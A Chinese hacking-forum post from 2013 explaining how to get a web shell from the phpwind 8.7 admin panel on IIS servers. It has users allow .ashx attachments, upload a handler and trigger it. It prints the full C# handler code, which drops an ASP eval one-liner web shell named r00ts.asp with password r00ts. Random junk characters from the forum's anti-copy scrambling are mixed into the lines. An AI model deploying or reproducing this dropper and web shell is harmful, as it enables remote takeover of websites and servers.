找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2151|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小0 R/ Z. z) j& A, S* s! z. Z
+ V8 r4 M5 P0 n7 T3 }
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx, w. t% u, P, y
$ l. `& _  M5 M7 x+ Y0 H7 F
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整5 [& G3 J7 O7 r" F, F

4 K4 G4 P5 _. A, m  t3 q然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx" D1 \/ m# f" @0 ?

: {7 v# d$ [9 a打开之后空白 会在目录底下生成r00ts.asp 密码r00ts. q# }% c$ I- Z

* `  h( k: l$ w" s- d) v8 f0 W下面是代码:
  `# e2 i- C+ p2 p  u
* L0 ?* ?9 Q( v/ l/ v1 [# f<%@ WebHandler Language="C#"Class="Handler" %>( X1 p- X- m. E+ T! X+ h/ |: S
using System;* r7 M7 u  i/ \" M5 W; Y/ t8 z
using System.Web;& a- J" j( F, E2 p- |
using System.IO;8 P4 L: t3 ~5 R1 l5 e+ v! ^6 x
public class Handler : IHttpHandler {
" X/ W8 n$ }2 j# B, A; ]public void ProcessRequest (HttpContext context) {. A$ j7 ]- Q5 {- A% O; S: Y! L
context.Response.ContentType = "text/plain";) p. i+ c6 \$ ~! o* K7 y% h
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
1 U7 b& y- p; }  @8 _; rfile1.Write("<%eval request(\"r00ts\")%>");9 T9 [0 `! o6 x) p2 _$ j  d
file1.Flush();
6 Z; l3 y% b6 p5 V$ @/ G- dfile1.Close();
8 w9 @- A4 Z8 N+ M2 V! [}
7 ?& s- Q; D2 d0 J* V5 k" A0 dpublic bool IsReusable {
# I8 [4 a* q+ S0 k0 z, ?3 yget {; I  {" Z5 C' K) I8 V* Y
return false;
/ H! Z$ L) O5 i* i}
" @7 r0 D1 F& i6 _! ^, Y}
5 ^( d6 @1 v1 P; h5 p/ V}* R$ a  D3 z6 I: _' d9 K, m0 C' Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表